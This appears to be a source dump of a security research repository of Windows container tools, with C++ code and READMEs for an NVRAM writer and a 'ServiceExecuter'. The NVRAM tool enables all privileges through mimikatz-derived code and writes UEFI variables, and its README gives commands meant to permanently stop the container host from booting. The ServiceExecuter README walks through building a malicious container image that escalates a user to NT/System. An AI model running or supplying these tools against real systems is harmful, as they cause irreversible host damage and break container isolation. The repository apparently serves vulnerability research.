SafeBreach Labs 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /NVRAM/NVRAM.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {7fcf9bc4-2093-43da-a79e-6c49b0c89680} 25 | NVRAM 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | MultiThreadedDebug 92 | 93 | 94 | Console 95 | true 96 | 97 | 98 | 99 | 100 | Level3 101 | true 102 | true 103 | true 104 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 105 | true 106 | MultiThreaded 107 | 108 | 109 | Console 110 | true 111 | true 112 | true 113 | 114 | 115 | 116 | 117 | Level3 118 | true 119 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | MultiThreadedDebug 122 | 123 | 124 | Console 125 | true 126 | 127 | 128 | 129 | 130 | EnableAllWarnings 131 | true 132 | true 133 | true 134 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 135 | true 136 | MultiThreaded 137 | 138 | 139 | Console 140 | true 141 | true 142 | true 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | -------------------------------------------------------------------------------- /NVRAM/NVRAM.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /NVRAM/NVRAM.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /NVRAM/README.md: -------------------------------------------------------------------------------- 1 | # NVRAM command line 2 | NVRAM.exe {GUID of the NVRAM} [hex_value_of_variable] 3 | 4 | 5 | # How to cause DOS from inside a container with process isolation 6 | 1. Copy NVRAM.exe to inside the container 7 | 2. Run all the commands below 8 | 3. Wait until the host will shutdown 9 | 4. The host won't be able to boot again 10 | 11 | # Run the following command to cause DOS on VMware VM 12 | NVRAM.exe w {FAB7E9E1-39DD-4F2B-8408-E20E906CB6DE} HDDP aaaaaa -------------------------------------------------------------------------------- /NVRAM/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "Windows.h" 4 | #include "subauth.h" 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include // std::cout, std::endl 10 | #include // std::setw 11 | #include 12 | 13 | // Last privilege 14 | #define SE_CREATE_SYMBOLIC_LINK 35 15 | 16 | typedef NTSTATUS(WINAPI* RTLADJUSTPRIVILEGE)( 17 | _In_ ULONG Privilege, 18 | _In_ BOOLEAN Enable, 19 | _In_ BOOLEAN CurrentThread, 20 | _Out_ PBOOLEAN Enabled); 21 | 22 | 23 | unsigned int a2v(char c) 24 | { 25 | if ((c >= '0') && (c <= '9')) 26 | { 27 | return (unsigned int) c - '0'; 28 | } 29 | if ((c >= 'a') && (c <= 'f')) 30 | { 31 | return (unsigned int)c - 'a' + 10; 32 | } 33 | else 34 | { 35 | printf("converted non hex values\n"); 36 | return 0; 37 | } 38 | } 39 | 40 | char v2a(unsigned int c) 41 | { 42 | const char hex[] = "0123456789abcdef"; 43 | if (c > sizeof(hex)) 44 | { 45 | printf("Failed to convert non-hex value, returned '0'\n"); 46 | return '0'; 47 | } 48 | return hex[c]; 49 | } 50 | 51 | char* unhexlify(char* hstr, size_t* size) 52 | { 53 | if (strlen(hstr) % 2 != 0) 54 | { 55 | printf("uneven hex bytes\n"); 56 | } 57 | 58 | *size = (strlen(hstr) / 2) + 1; 59 | char* bstr = (char*)malloc(*size); 60 | char* pbstr = bstr; 61 | if (NULL == bstr) 62 | { 63 | printf("Failed to allocate memory\n"); 64 | return NULL; 65 | } 66 | for (size_t i = 0; i < strlen(hstr); i += 2) 67 | { 68 | char c = (char) (a2v(hstr[i]) << 4) + a2v(hstr[i + 1]); 69 | if (c == 0) { 70 | *pbstr++ = -128; 71 | } 72 | else { 73 | *pbstr++ = c; 74 | } 75 | } 76 | *pbstr++ = '\0'; 77 | return bstr; 78 | } 79 | 80 | char* hexlify(char* bstr) 81 | { 82 | char* hstr = (char*)malloc((strlen(bstr) * 2) + 1); 83 | char* phstr = hstr; 84 | 85 | if (NULL == hstr) 86 | { 87 | printf("Failed to allocate memory\n"); 88 | return NULL; 89 | } 90 | for (size_t i = 0; i < strlen(bstr); i++) 91 | { 92 | if (bstr[i] == -128) 93 | { 94 | *phstr++ = '0'; 95 | *phstr++ = '0'; 96 | } 97 | else { 98 | *phstr++ = v2a((bstr[i] >> 4) & 0x0F); 99 | *phstr++ = v2a((bstr[i]) & 0x0F); 100 | } 101 | } 102 | *phstr++ = '\0'; 103 | return hstr; 104 | } 105 | 106 | HMODULE hNtdll = NULL; 107 | 108 | 109 | // Taken from https://github.com/gentilkiwi/mimikatz/blob/e10bde5b16b747dc09ca5146f93f2beaf74dd17a/mimikatz/modules/kuhl_m_privilege.c 110 | NTSTATUS kuhl_m_privilege_simple(ULONG privId) 111 | { 112 | typedef NTSTATUS(NTAPI* TFNRtlAdjustPrivilege)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN); 113 | TFNRtlAdjustPrivilege pfnRtlAdjustPrivilege = NULL; 114 | hNtdll = GetModuleHandleA("ntdll.dll"); 115 | if (NULL == hNtdll) 116 | { 117 | printf("failed to module handle ntdll\n exiting program\n"); 118 | return -2; 119 | } 120 | pfnRtlAdjustPrivilege = (TFNRtlAdjustPrivilege)GetProcAddress(hNtdll, "RtlAdjustPrivilege"); 121 | if (NULL == pfnRtlAdjustPrivilege) 122 | { 123 | printf("Failed to get the address of one of the functions\n"); 124 | return -2; 125 | } 126 | 127 | BOOLEAN previousState; 128 | NTSTATUS status = pfnRtlAdjustPrivilege(privId, TRUE, FALSE, &previousState); 129 | if (status != STATUS_SUCCESS) 130 | { 131 | printf("Failed to adjust privileges\n"); 132 | } 133 | 134 | return status; 135 | } 136 | 137 | // Caveat #1: Check if system supports UEFI. 138 | int IsFeatureSupported() 139 | { 140 | int buffer; 141 | GetFirmwareEnvironmentVariable(L"", L"{00000000-0000-0000-0000-000000000000}", &buffer, sizeof(buffer)); 142 | return (GetLastError() == ERROR_INVALID_FUNCTION) ? 0 : 1; 143 | } 144 | 145 | // Caveat #2: SeSystemEnvironmentPrivilege needs to be set. 146 | int SetSystemEnvironmentPrivilege() 147 | { 148 | HMODULE hnd_module = LoadLibrary(L"ntdll.dll"); 149 | RTLADJUSTPRIVILEGE RtlAdjustPrivilege = (RTLADJUSTPRIVILEGE)GetProcAddress(hnd_module, "RtlAdjustPrivilege"); 150 | ULONG SeSystemEnvironmentPrivilege = 22; 151 | BOOLEAN enabled = false; 152 | RtlAdjustPrivilege(SeSystemEnvironmentPrivilege, true, false, &enabled); 153 | return (int)enabled; 154 | } 155 | 156 | int SetGetNVRAM(int argc, char* argv[]) 157 | { 158 | wprintf(L"Get/Set NVRAM Variables in UEFI\n\n"); 159 | if (argc < 4) 160 | { 161 | wprintf(L"format: nvram.exe [value in hex]\n\n"); 162 | return -1; 163 | } 164 | 165 | if (!IsFeatureSupported()) 166 | { 167 | printf("ERROR: This feature is not supported on your host. it is required to run from a machine with UEFI\n"); 168 | return -1; 169 | } 170 | 171 | SetSystemEnvironmentPrivilege(); 172 | wchar_t variable_name[30] = { 0 }; 173 | wchar_t guid[40] = { 0 }; 174 | size_t outSize = 0; 175 | NTSTATUS s = 0; 176 | char* get_buffer = (char*)calloc(500, sizeof(wchar_t)); 177 | 178 | if (NULL == get_buffer) 179 | { 180 | printf("Failed to allocate memory\n"); 181 | return -1; 182 | } 183 | 184 | mbstowcs_s(&outSize, variable_name, argv[3], strlen(argv[3])); 185 | mbstowcs_s(&outSize, guid, argv[2], strlen(argv[2])); 186 | printf("[before syscall]\n"); 187 | if (strcmp(argv[1], "W") == 0 || strcmp(argv[1], "w") == 0) 188 | { 189 | size_t size_new_buff = 0; 190 | char* new_buff = unhexlify(argv[4], &size_new_buff); 191 | printf("\n"); 192 | for (size_t i = 0; i < size_new_buff; ++i) 193 | { 194 | printf("%02X ", new_buff[i] & 0xff); 195 | if ((i + 1) % 0x10 == 0) 196 | { 197 | printf("\n"); 198 | } 199 | } 200 | 201 | printf("\n"); 202 | // Equivalent to: s = SetFirmwareEnvironmentVariableEx(variable_name, guid, new_buff, size_new_buff, 0x00000001); 203 | s = SetFirmwareEnvironmentVariable(variable_name, guid, new_buff, ((DWORD) size_new_buff)); 204 | //If the function SetFirmwareEnvironmentVariable succeeds, the return value is a nonzero value. 205 | wprintf(L"[SET] %s status %x (non zero required)\n", variable_name, (unsigned int) s); 206 | } 207 | 208 | s = (DWORD) GetFirmwareEnvironmentVariable(variable_name, guid, get_buffer, 500); 209 | // The return value is the number of bytes stored in the pBuffer buffer. 210 | wprintf(L"[GET] %s bytes read: 0x%x\n", variable_name, (unsigned int)s); 211 | printf("\n"); 212 | for (size_t i = 0; i < s; ++i) 213 | { 214 | printf("%02X ", get_buffer[i] & 0xff); 215 | if ((i + 1) % 0x10 == 0) 216 | { 217 | printf("\n"); 218 | } 219 | } 220 | 221 | printf("\n[After syscall]\n"); 222 | return 0; 223 | } 224 | 225 | int main(int argc, char* argv[]) 226 | { 227 | int ret_val = 0; 228 | 229 | printf("Permissions enabled:"); 230 | // Execute the loop twice because on the second iteration it is possible to gain more privileges after we gained some on the first iteration such as TCB. 231 | for (int t = 0; t < 2; t++) { 232 | for (unsigned int i = 0; i <= SE_CREATE_SYMBOLIC_LINK; i++) 233 | { 234 | int ntRetValStatus = kuhl_m_privilege_simple(i); 235 | if (NT_SUCCESS(ntRetValStatus)) 236 | { 237 | printf("%d ", i); 238 | } 239 | } 240 | } 241 | 242 | printf("\n"); 243 | ret_val = SetGetNVRAM(argc, argv); 244 | if (0 == ret_val) 245 | { 246 | printf("SUCCESS %d \n", ret_val); 247 | } 248 | else 249 | { 250 | printf("FAILED %d \n", ret_val); 251 | } 252 | 253 | return ret_val; 254 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CoWTools 2 | Tools for analyzing Windows containers and break container's isolation 3 | 4 | 5 | # NVRAM 6 | Let you read and write variables from the NVRAM 7 | 8 | # LiveDump 9 | Let you do Kernel and user-mode dumps 10 | 11 | # EnumAllHandles 12 | Let you enumerate all the handles 13 | 14 | # ServiceExecuter 15 | Let you do Privilege escalation in Windows container. -------------------------------------------------------------------------------- /ServiceExecuter/LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2019, SafeBreach Labs 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /ServiceExecuter/README.md: -------------------------------------------------------------------------------- 1 | # ServiceExecuter 2 | This project reads command from a file, execute it and then write the output to another file. It can be used in order to gain NT/System in malicious windows containers. 3 | 4 | 5 | # Gain NT/System using malicious container image: 6 | 7 | 1. Compile this project using Visual Studio 8 | 2. Download the files to the container: 9 | 3. Start the container as NT/System with shared folder between the container's host and the container so it will be possible to share files with the container. 10 | docker run -it --isolation=process --name= -v c:\tmp:c:\tmp --user="NT Authority\System" mcr.microsoft.com/windows/servercore:ltsc2022 cmd 11 | 4. Copy to the container under c:\temp\ 12 | * nssm.exe (https://nssm.cc/) 13 | * ServiceExecuter.exe - compiled 14 | 5. Create a service using nssm: 15 | * c:\temp\nssm.exe install EoP4 C:\temp\ServiceExecuter.exe c:\temp\input.txt c:\temp\output.txt 16 | 6. Start the service: 17 | * c:\temp\nssm.exe start EoP4 18 | 7. Validate everything works as expected: expect the output.txt to be "NT/System" 19 | ``` 20 | echo whoami > c:\temp\input.txt 21 | more c:\temp\output.txt 22 | del c:\temp\output.txt 23 | ``` 24 | 8. Exit the container 25 | 26 | 27 | 9. Store the container as container image 28 | * docker commit 29 | 30 | 31 | 32 | Trigger the Privilege of escalation: 33 | * docker run --rm -it --isolation=process --name= --user="ContainerUser" cmd 34 | * whoami /User /Priv 35 | * echo whoami > c:\temp\input.txt 36 | * more c:\temp\output.txt 37 | 38 | 39 | If you wish to do permanent DoS to the container's host see the project NVRAM -------------------------------------------------------------------------------- /ServiceExecuter/ServiceExecuter.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {e17aac50-1057-455c-a98e-37a10ff543cc} 25 | ServiceExecuter 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | MultiThreadedDebug 92 | 93 | 94 | Console 95 | true 96 | 97 | 98 | 99 | 100 | Level3 101 | true 102 | true 103 | true 104 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 105 | true 106 | MultiThreaded 107 | 108 | 109 | Console 110 | true 111 | true 112 | true 113 | 114 | 115 | 116 | 117 | Level3 118 | true 119 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | MultiThreadedDebug 122 | 123 | 124 | Console 125 | true 126 | 127 | 128 | 129 | 130 | Level3 131 | true 132 | true 133 | true 134 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 135 | true 136 | Default 137 | MultiThreaded 138 | 139 | 140 | Console 141 | true 142 | true 143 | true 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | -------------------------------------------------------------------------------- /ServiceExecuter/ServiceExecuter.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /ServiceExecuter/ServiceExecuter.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | C:\tmp\ror\input.txt C:\tmp\ror\output.txt 5 | WindowsLocalDebugger 6 | 7 | 8 | C:\tmp\ror\input.txt C:\tmp\ror\output.txt 9 | WindowsLocalDebugger 10 | 11 | 12 | C:\tmp\ror\input.txt C:\tmp\ror\output.txt 13 | WindowsLocalDebugger 14 | 15 | 16 | C:\tmp\ror\input.txt C:\tmp\ror\output.txt 17 | WindowsLocalDebugger 18 | 19 | -------------------------------------------------------------------------------- /ServiceExecuter/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define SE_CREATE_SYMBOLIC_LINK 35 12 | 13 | const int MsToSleepBetweenCommands = 200; // miliseconds 14 | 15 | int readFile(std::string pathInput, std::string* output) 16 | { 17 | std::fstream newfile; 18 | newfile.open(pathInput, std::ios::in); //open a file to perform read operation using file object 19 | if (newfile.is_open()) 20 | { 21 | std::string tp; 22 | std::getline(newfile, tp); //read data from file object and put it into string. 23 | *output += tp; 24 | newfile.close(); //close the file object. 25 | } 26 | else 27 | { 28 | return -1; 29 | } 30 | 31 | return 0; 32 | } 33 | 34 | int writeFile(std::string pathOutput, std::string* contentToWrite) 35 | { 36 | std::fstream newfile; 37 | newfile.open(pathOutput, std::ios::out); // open a file to perform write operation using file object 38 | if (newfile.is_open()) //checking whether the file is open 39 | { 40 | newfile << contentToWrite; //inserting text 41 | } 42 | else 43 | { 44 | return -1; 45 | } 46 | newfile.close(); //close the file object 47 | 48 | return 0; 49 | } 50 | 51 | void deleteFile(std::string pathFile) 52 | { 53 | std::remove(pathFile.c_str()); 54 | } 55 | 56 | int executeCommand(std::string command, std::string outputPath) 57 | { 58 | std::string concatString = command + " > " + outputPath; 59 | std::cout << "Executing command: '" << concatString << "'\n"; 60 | return system(concatString.c_str()); 61 | } 62 | 63 | 64 | int main(int argc, char* argv[]) 65 | { 66 | int ret_val = 0; 67 | // argv[1] - input command 68 | // argv[2] - output command 69 | if (argc < 3) 70 | { 71 | std::cout << "Wrong arguments" << std::endl << "Usage: " << argv[0] << " " << std::endl; 72 | return -1; 73 | } 74 | std::string pathInputCommand = std::string(argv[1]); 75 | std::string pathOutputCommand = std::string(argv[2]); 76 | while (true) 77 | { 78 | std::string command; 79 | int ret_val = readFile(pathInputCommand, &command); 80 | if (0 != ret_val) 81 | { 82 | std::this_thread::sleep_for(std::chrono::milliseconds(MsToSleepBetweenCommands)); 83 | continue; 84 | } 85 | deleteFile(pathInputCommand); 86 | executeCommand(command, pathOutputCommand); 87 | 88 | } 89 | printf("\n"); 90 | 91 | if (0 == ret_val) 92 | { 93 | printf("SUCCESS %d \n", ret_val); 94 | } 95 | else 96 | { 97 | printf("FAILED %d \n", ret_val); 98 | } 99 | 100 | return ret_val; 101 | } --------------------------------------------------------------------------------